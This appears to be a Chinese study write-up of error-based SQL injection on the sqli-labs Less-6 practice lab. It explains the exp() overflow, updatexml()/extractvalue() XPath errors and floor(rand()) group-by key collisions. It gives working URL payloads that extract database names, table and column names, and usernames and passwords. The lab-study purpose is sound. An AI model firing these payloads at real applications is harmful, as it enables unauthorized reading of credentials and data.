结合靶场sql-lab-master less-6实验环境总结SQL注入之报错注入
首先判断闭合方式:
测试?id=1″时报错:
去掉我们输入的1″ 可以看到后面还有一个” 所以闭合方式为”
输入” />
无法判断显示位 但页面会根据我们输入错误的SQL语法而报错,所以采用报错注入的方法解决这一关
什么是报错注入?
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
报错注入的种类?
1.BigInt数据类型溢出
2.函数参数格式错误
3.主键冲突(重复)
BigInt数据类型溢出:(此题不适用)
exp(int)函数返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错:”DOUBLE value is out of range”
例:
?id=1" and exp(~(select * from (select user())a)) --+
先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
然后在查询select * from a 查询a,将结果集a全部查询出来
查询完成,语句成功执行,返回值为0,再取反(~按位取反运算符),exp调用的时候e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错
payload:
获取表名:
?id=1" and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) --+
获取列名:
?id=1" and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) --+
获取列名对应信息:
?id=1" and exp(~(select * from(select username from 'users' limit 0,1))) --+
适用mysql数据库版本是:5.5.5~5.5.49
除了exp()函数之外,pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入
函数参数格式错误:
两个重要函数:updatexml() extractvalue ()
我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
查询当前数据库的用户信息以及数据库版本信息:
?id=1″ and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) –+
获取当前数据库下数据表信息:
?id=1″and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) –+
获取users表名的列名信息:
?id=1″ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),3) –+
获取users数据表下username、password两列名的用户字段信息:
?id=1″ and updatexml(1,concat(0x7e,(select usernamefrom users limit 0,1),0x7e),3) –+
?id=1″ and updatexml(1,concat(0x7e,(select passwordfrom users limit 0,1),0x7e),3) –+
extractvalue()函数语法:extractvalue(XML_document,XPath_string)
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1″ and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) –+
获取当前位置所用数据库的位置:
?id=1″ and extractvalue(1,concat(0x7e,@@datadir,0x7e)) –+
获取表名:
?id=1″and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) –+
获取users表的列名:
?id=1″ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e)) –+
获取对应的列名的信息(username/password):
?id=1″ and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) –+
主键冲突(重复):(待我继续学习继续补充payload)
主键重复方式的报错注入利用的函数有: floor() + rand() + group() + count()
利用select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错
理解rand函数
rand()是一个随机函数,通过一个固定的随机数的种子0之后,产生大于等于0小于1的伪随机序列
理解floor(rand(0)*2)
floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。
floor(rand(0)*2)
得到伪随机数列011011
因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序。
理解group by
group by进行分组排序相同名字合并
最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值
理解count()函数:
对a中的重复性的数据进行了整合,然后计数,后面的x就是每一类的数量。
报错原因分析:
select count(*),(floor(rand(0)*2)) x from users group by x
group by函数的工作过程:
group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
执行floor(rand(0)*2)=0(第一次),0不存在于临时表中,再次计算floor(rand(0)*2)=1(第二次),1
不存在于临时表中,再次计算floor(rand(0)*2)=1(第三次)
操作 | key | floor(rand(0)*2) | count(*) |
插入一条记录 | 0 | ||
插入2条记录 | 1 | 1 | 2 |
执行floor(rand(0)*2)=0(第4次),0不存在于临时表中,再次计算floor(rand(0)*2)=1(第5次),
1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误.
payload:
” />